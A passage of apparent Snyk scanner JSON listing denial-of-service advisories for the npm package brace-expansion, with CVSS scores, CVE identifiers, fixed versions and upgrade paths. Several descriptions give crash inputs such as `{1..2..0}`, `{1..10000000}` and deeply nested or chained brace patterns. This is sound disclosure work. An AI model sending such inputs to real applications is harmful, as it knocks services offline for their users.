"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, 